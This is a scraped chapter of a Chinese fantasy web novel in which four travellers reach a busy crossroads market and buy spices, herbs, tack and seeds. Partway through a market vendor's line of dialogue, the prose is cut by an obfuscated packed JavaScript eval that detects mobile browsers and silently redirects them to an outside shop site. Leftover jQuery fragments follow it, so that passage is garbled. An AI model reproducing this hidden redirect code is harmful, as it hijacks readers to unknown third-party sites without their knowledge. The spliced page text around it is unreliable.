文趣网 > 其他小说 > 勇者之旅 > 51.第 51 章
    从陶窑往南,官道穿过一片又一片的休耕田。初冬的田地是空的,麦茬还留在地里,一行一行整整齐齐地排着。有些田里已经翻了土,赭红色的新土从麦茬下面翻上来,在灰白色的天光里冒着热腾腾的土气。翻过的田里落着成群的乌鸦,黑羽在翻土里啄食遗留的麦粒和土里的虫子。马经过的时候乌鸦呼啦啦飞起来,在天上绕一圈,等人走远了又落回去。

    流栖灯看着乌鸦落回田里。竹篮挂在鞍头,随着穗子的步子轻轻晃着,里面的陶器碰出细细的叮当声,像极远极远的钟。她把红薯最后一口塞进嘴里嚼完,手指上沾着焦黑的皮屑,在裤子上蹭了蹭。

    “她一个人烧了一整窑。”她说。

    “一个人。”艾莉西亚骑在长腿背上,手里还捏着红薯,一小口一小口地啃。“拉坯,修坯,上釉,装窑,烧窑,出窑。全是她一个人。”

    “她说做陶是从土里要东西。土不会给你,你得自己找。”流栖灯看着竹篮里的陶器。豆青罐,枣皮红碗,茄皮紫小壶,茶盏。在篮子里轻轻碰着。“她找了一辈子。”

    格蕾塔的声音从后面传来。“南部山下的那个匠人也找了一辈子。主教说,她烧的香炉,烟气从炉盖的孔里升起来的时候会自己绕成圈。不是每个香炉都这样,只有她烧的会。问她怎么做到的,她说不知道。只是每一次揉泥的时候多揉一个时辰。”

    流栖灯把竹篮的盖子掀开一条缝往里看。豆青罐安安静静地卧在稻草里,罐身上那片火焰流过的纹路,在篮子里的暗处看不分明。但她在窑前看见了。青河的水纹。窑里的火焰流过去,把它烧成了青河的样子。做罐子的人不知道。她只是把罐子放在了窑尾,因为收口的罐子该放窑尾。火焰替她做了剩下的。

    从陶窑往南的官道,在初冬的第三个早晨汇进了一条更宽的路——条路并成了一条——从西北方向过来的另一条官道在这里和她们走的路交汇,路面从两车并行扩成了四车并行。车辙印密起来了,马蹄印多起来了,路边的杂草被踩得贴在地面上,露-出底下赭红色的硬土。

    流栖灯发现路上的人多了。

    来的时候从帝都往北,路上的人越来越少,走到最后只剩她们四个。回来的时候从封印往南,人一点一点多起来——先是绿溪镇回来的铁匠,然后是石桥村的人,灰树镇的药草铺老人,茶园的茶农,渡口的撑船人。但那些人都是停在一个地方的。现在官道上走着的,是正在路上的人。挑着担子的货郎,赶着牛车的农人,背着背篓的老妇人,牵着一串羊的牧人。羊脖子上挂着铃铛,走一步响一声,一串羊走起来叮叮当当的,在初冬空旷的原野上传得很远。

    穗子的耳朵朝羊群的方向转着。流栖灯伸手摸了摸它的脖子。

    “人多了。”她说。

    “前面有集。”玛丽玛丽的声音从前面传来。“两条官道交汇的地方必有集市。西北来的,北边来的,都到这里打尖换马交易货物。”

    阿灰不用招呼就走得更快了。它认得集市的味道——草料,马粪,炸物,人汗,混在一起的味道。驿马都喜欢集市,集市意味着歇脚,意味着燕麦,意味着马厩里挨着别的马站在一起交换鼻子里的热气。穗子的步子也轻快起来,小辫子在风里晃得比平时欢。长腿昂着头,鼻孔微微张着闻空气里的味道。红栎走在最后面,步子还是稳的,但尾巴甩得快了一点。

    集市在两条官道交汇的平川上。没有城墙,没有镇门,就是一片开阔地上长出来的一-大片房子和棚子。房子是土墙木顶的铺面,棚子是竹竿支着油布,从官道边一直蔓延到远处的河岸。官道从集市中间穿过去成了主街,街上挤满了人——买的人,卖的人,看的人,什么也不做就是逛的人。马匹,牛车,羊群,挑担,背篓,挤在一起慢慢挪。

    流栖灯骑在穗子背上,眼睛不够用了。

    她看见一个卖灯笼的摊子。灯笼用竹篾扎成各种形状,糊着红的黄的绿的纸。最多的是一种圆灯笼,上面画着兔子。兔子画得不工整,耳朵一只长一只短,但眼睛点得活,黑漆漆的一点,不管从哪个角度看都像在看着你。卖灯笼的是个干瘦的老人,坐在摊子后面往灯笼上画兔子。手稳,一笔一只耳朵,一笔一只眼睛。

    她还看见一个卖糖画的摊子。铜锅里熬着焦糖色的糖浆,用小铜勺舀起来在石板上浇画。浇的是鱼,是鸟,是马。糖浆在石板上冷却凝固,用小铲子铲起来插在草靶子上。一匹糖马,鬃毛是糖丝拉出来的,蹄子是糖浆点出来的,举在阳光里是琥珀色的半透明。一个孩子举着一匹糖马从人群里挤过去,糖马的尾巴在人群缝隙里一晃一晃的。

    她又看见一个卖布的摊子。布匹一匹一匹码在木板上,靛蓝的,茜红的,柘黄的,茄皮紫的。有一种布染的是渐变色,从深蓝慢慢过渡到浅白,像把天空从黄昏到入夜的那一段剪下来摊在了木板上。卖布的妇人正在扯布,手臂一扬,布匹在空气里展开,靛蓝色哗地一下铺满了半边视线。

    艾莉西亚勒住长腿停在卖香料的摊子前。摊子上摆着几十个粗陶罐,罐口敞着,里面是各种颜色的粉末和颗粒。花椒是赭红色的,粒粒饱满,壳上微微裂开露-出黑色的籽。八角是棕褐色的,角瓣整齐像星星。桂皮卷成筒状,断面是暗红色的。干姜切片,边缘卷起,姜黄素把手指染成黄-色。还有一种她不认识的香料,黑色的小颗粒,比芝麻还小,气味从罐口冲出来——辛辣里带着一丝极深极沉的甜。她拈了一粒放在舌尖上,味道从舌尖炸开往鼻腔里冲。

    “这是什么。”

    “草果。”卖香料的妇人正在用小秤称花椒。“炖肉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601669|203862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    放的。去腥,提香。放一颗,肉烂得快。”

    艾莉西亚买了一小包草果放进鞍袋里。鞍袋里有茶农的春茶,灰树镇的薄荷和连翘,菊坡村的腌萝卜,苹果园女人的苹果干,渔村的鱼干,陶窑女人给的陶器。现在多了一包草果。她的鞍袋是队伍里最鼓的。

    格蕾塔停在卖草药的摊子前。摊子不大,一块粗布铺在地上,上面摆着几捆干草药。草药是野生的,从山上采的,根须上还带着泥土。她蹲下来翻看一捆黄芪,根条粗壮,断面是淡黄-色的,有豆腥气。卖草药的是个年轻女人,背上背着一个睡着的孩子。孩子脸埋在母亲背上,口水流下来洇湿了一小片布。

    “黄芪哪里采的。”

    “西边的山上。秋天采的,晒了一个月。”女人把孩子往上托了托,孩子哼了一声又睡过去。“今年黄芪好。夏天雨水足,根扎得深。”

    格蕾塔买了一捆黄芪,又买了一小包当归。当归切片是象牙白色的,断面有油点,气味浓烈,苦里带着一种很深的甜——根茎类药材特有的那种甜,像把整个秋天的养分都攒在了断面里。她把草药放进鞍袋里收好。

    玛丽玛丽停在卖马具的摊子前。摊子上挂着笼头、缰绳、肚带、马镫,还有各式各样的皮件。皮子是熟过的牛皮,鞣得软硬适中,断面是均匀的米黄-色。她拿起一副笼头看了看皮子的厚度和缝线的针脚。针脚密,线是麻线浸过蜡的,缝得结实。她把阿灰的旧笼头卸下来换上新笼头。阿灰站着不动,新笼头戴上之后它晃了晃脑袋适应皮子的新气味。然后低下头在玛丽玛丽肩膀上蹭了蹭。

    流栖灯停在一个卖种子的摊子前。种子用粗布袋装着,袋口敞开,里面是各种形状各种颜色的颗粒。麦种是金黄-色的,粒粒饱满,肚子上有一道细细的凹沟。稻种是黄褐色的,外壳光滑,捏在手里硬邦邦的。菜籽小得像沙粒,紫黑色的,从指缝间流下去沙沙地响。豆种圆滚滚的,白的,红的,绿的,花的,每一颗都不一样。还有她不认识的种子——扁平的,带刺的,有绒毛的,像小石子一样沉甸甸的。卖种子的是个老妇人,头发全白了编成一根细辫子盘在头顶。她坐在布袋后面,手里搓着一穗玉米,玉米粒从棒子上唰唰地落进腿边的竹篮里。

    “姑娘要什么种子。”

    流栖灯看着那些敞开的布袋。麦种,稻种,菜籽,豆种。灰树镇药草铺老人把沾了灰的连翘倒进河里,茶园的茶农剪掉被灰覆盖的秋梢等着春芽抽出来,苹果园的女人说空一冬花又开。“什么种子春天种下去,夏天就能长出来。”

    老妇人从布袋里一样抓了一小撮放进一只小粗布袋里,系紧口子递给她。“都行。种下去,浇水,等。它们自己知道怎么长。”

    流栖灯接过布袋放进鞍袋里。种子在布袋里轻轻沙沙地响。